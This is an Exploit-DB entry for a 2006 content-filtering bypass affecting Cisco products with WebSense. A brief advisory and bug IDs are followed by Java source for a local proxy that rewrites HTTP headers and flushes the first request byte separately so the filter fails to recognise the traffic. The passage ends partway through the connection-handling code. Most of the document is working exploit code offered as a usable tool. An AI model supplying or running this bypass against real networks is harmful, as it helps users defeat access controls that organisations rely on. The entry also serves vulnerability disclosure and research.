Exploit-DB #27830
Description: Cisco - WebSense Content Filtering Bypass
Type: remote
Platform: hardware
Date: 2006-05-08
Author: George D. Gal

Exploit:
source: https://www.securityfocus.com/bid/17883/info

Multiple Cisco products are susceptible to a content-filtering bypass vulnerability. This issue is due to a failure of the software to properly recognize HTTP request traffic.

This issue allows users to bypass content-filtering and access forbidden websites.

Cisco is tracking this issue as Bug IDs CSCsc67612, CSCsc68472, and CSCsd81734.http://www.cisco.com/pcgi-bin/Support/Bugtool/onebug.pl?bugid=CSCsd81734

// Copyright (C) 2005-2006 Virtual Security Research, LLC. - All rights reserved

// Disclaimer: Use this tool at your own risk. The author of this utility 
// nor Virtual Security Research, LLC. will assume any liability for damage 
// caused by running this code. This utility is provided for educational 
// purposes only.

import java.lang.*;
import java.net.*;
import java.io.*;
import java.util.*;
import javax.swing.JFrame;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.SwingUtilities;
import java.awt.BorderLayout;

class WebsenseBypassProxyConnection implements Runnable {
    Socket csock;
    Socket ssock;
    static int count = 0;
    WebsenseBypassProxy wbp;
    public WebsenseBypassProxyConnection(Socket csock, WebsenseBypassProxy parent) {
	this.csock = csock;
	this.wbp = parent;
    }
    private StringBuffer GetHeader(InputStream istream) throws IOException {
	ByteArrayOutputStream out = new ByteArrayOutputStream();
	int i;
	do {
	    i = istream.read();
	    if (i == -1) {
		if(out.size() > 0) {
		    String s = out.toString();
		    if(s.endsWith("\r\n"))
			return (new StringBuffer(out.toString() + "\r\n"));
		    else if (s.endsWith("\n"))
			return (new StringBuffer(out.toString() + "\n"));
		}
		throw (new IOException());
	    }
	    out.write((byte) i);
	} while ((!out.toString().endsWith("\r\n\r\n")) &&
		 (!out.toString().endsWith("\n\n")));
	return (new StringBuffer(out.toString()));
    }
    private HashMap GetHeaderParam(StringBuffer header) {
	HashMap h = new HashMap();
	int i=0;
	try {
	    if ((i=header.toString().indexOf("\n")) > 0) {
		StringTokenizer stok =
		    new StringTokenizer(header.toString().substring(i),
					":\r\n", true);
		try {
		    while(stok.hasMoreTokens()) {
			// Get name value pair
			String tok = stok.nextToken(":").trim().toLowerCase();
			stok.nextToken();
			String tokval = stok.nextToken("\r\n").trim();
			h.put(tok, tokval);
			//System.out.println("n, v: "+tok +", "+tokval);
		    }
		} catch(NoSuchElementException e) {
		}
	    }
	} catch (Exception e) {
	}
	return(h);
    }
    private StringBuffer GetReqBody(InputStream istream) throws IOException {
	ByteArrayOutputStream out = new ByteArrayOutputStream();
	int i;
	while (!(out.toString().endsWith("\r\n\r\n") ||
		 out.toString().endsWith("\n\n"))) {
	    
	    i = istream.read();
	    if (i== -1) {
		if(out.size() > 0) {
		    String s = out.toString();
		    if(s.endsWith("\r\n"))
			return (new StringBuffer(out.toString() + "\r\n"));
		    else if (s.endsWith("\n"))
			return (new StringBuffer(out.toString() + "\n"));
		}
		throw (new IOException());
	    }
	    out.write((byte) i);
	}
	return (new StringBuffer(out.toString()));
    }
    public void run() {
	Socket ssock = null;
	InputStream clientIn = null;
	BufferedOutputStream clientOut = null;
	InputStream serverIn = null;
	BufferedOutputStream serverOut = null;
	int i=0;
	int ch=-1,r0=-1,r1=-1;
	try {
	    clientIn = csock.getInputStream();
	    clientOut = new BufferedOutputStream(csock.getOutputStream());
	    StringBuffer buf = GetHeader(clientIn);
	    int idx = buf.indexOf("Proxy-Connection:");
	    int eol = buf.indexOf("\r\n", idx+18);
	    //System.out.println("Idx: "+idx+" ,eol: "+eol);
	    if ((idx > 0) && (eol > 0)) {
		buf = buf.replace(idx, eol, "Connection: close");
	    }
	    // And we should just make our lives easy and change keep-alives
	    // to close.
	    idx = -1;
	    eol = -1;
	    
	    idx = buf.indexOf("Keep-Alive:");
	    eol = buf.indexOf("\r\n",idx+11);
	    
	    //System.out.println("Idx: "+idx+" ,eol: "+eol);
	    if ((idx > 0) && (eol > 0)) {
		buf = buf.replace(idx, eol, "Keep-Alive: close");
	    }

	    HashMap h = GetHeaderParam(buf);
	    StringTokenizer st = new StringTokenizer(buf.toString());
	    String reqtype = st.nextToken().toUpperCase();
	    URL req = new URL(st.nextToken());
	    String remotehost = req.getHost();
	    int remoteport = req.getPort();
	    if (remoteport == -1) {
		remoteport = 80;
	    }
	    
	    // change the target to remove the host and protocol
	    idx = -1;
	    int end = -1;
	
	    idx = buf.indexOf(reqtype + " "+ req.toString());
	    end = idx + (reqtype+" "+req.toString()).length();
	
	    //System.out.println("Request and URL Idx: "+idx+" , end: "+end);
	    if ((idx >= 0) && (end > 0)) {
		buf = buf.replace(idx, end, reqtype+" "+
				  req.getPath().toString());
	    }
	    wbp.displayMessage(">> "+reqtype+" "+req.getPath().toString()+"\n");
	    //System.out.println(">> "+reqtype+" "+req.getPath().toString());
	    ssock = new Socket(remotehost,remoteport);
	    //StringBuffer buf2 = GetReqBody(clientIn);
	
	    StringReader sr = new StringReader(buf.toString());

	    serverIn = ssock.getInputStream();
	    serverOut = new BufferedOutputStream(ssock.getOutputStream());
	    while ((ch = sr.read()) != -1) {
		serverOut.write(ch);
		if (i == 0) {
		    // Flush out the first byte
		    serverOut.flush();
		}
		i++;
	    }
	    serverOut.flush();
	    while ((ch = serverIn.read()) != -1) {
		clientOut.write(ch);
	    }
	    wbp.displayMessage(">>XX>> Server stream closed\n");
	    //System.out.println(">>XX>> Server stream closed");
	    clientOut.flush();
	    // just added
	    csock.shutdownOutput();
	    ssock.close();
	    csock.close();
	    ssock.close();